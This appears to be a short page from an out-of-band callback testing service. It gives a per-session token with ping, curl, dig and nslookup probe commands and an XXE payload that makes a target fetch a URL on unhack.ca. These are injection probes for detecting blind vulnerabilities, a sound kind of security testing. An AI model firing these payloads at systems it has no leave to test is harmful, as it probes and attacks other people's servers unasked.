$ ping -c1 -p 0008b22d2817fe04eac3249874992a00 unhack.ca
 
$ curl http://unhack.ca/p/08b22d2817fe04eac3249874992a
 
$ dig 08b22d2817fe04eac3249874992a @unhack.ca
 
$ dig 08b22d2817fe04eac3249874992a.ns.unhack.ca
 
C:\> nslookup 08b22d2817fe04eac3249874992a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/08b22d2817fe04eac3249874992a">]>
    <foo>&xxe;</foo>
Waiting for ping...